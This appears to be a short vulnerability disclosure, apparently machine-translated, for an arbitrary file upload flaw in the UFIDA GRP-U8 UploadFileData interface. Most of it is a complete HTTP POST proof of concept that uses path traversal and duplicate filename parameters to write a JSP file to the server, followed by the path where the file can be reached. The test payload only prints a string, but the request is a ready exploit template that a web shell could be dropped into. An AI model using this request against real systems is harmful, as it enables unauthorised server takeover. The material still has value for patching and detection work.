Ufida Grp U8 Uploadfiledata Arbitrary File Upload Vulnerability

UFIDA GRP-U8 UploadFileData any file upload vulnerability

Vulnerability Description

UFIDA GRP-U8 UploadFileData interface has a vulnerability to upload any file, and an attacker can obtain server permissions through the vulnerability.

Vulnerability Impact

UFIDA GRP-U8

Network surveying and mapping

Vulnerability reappears

Login page

Verify POC

POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=debugg.jsp&filename=1.jpg HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"

<% out.println("123");%>
------WebKitFormBoundary92pUawKc--

Access to the written file

/R9iPortal/debugg.jsp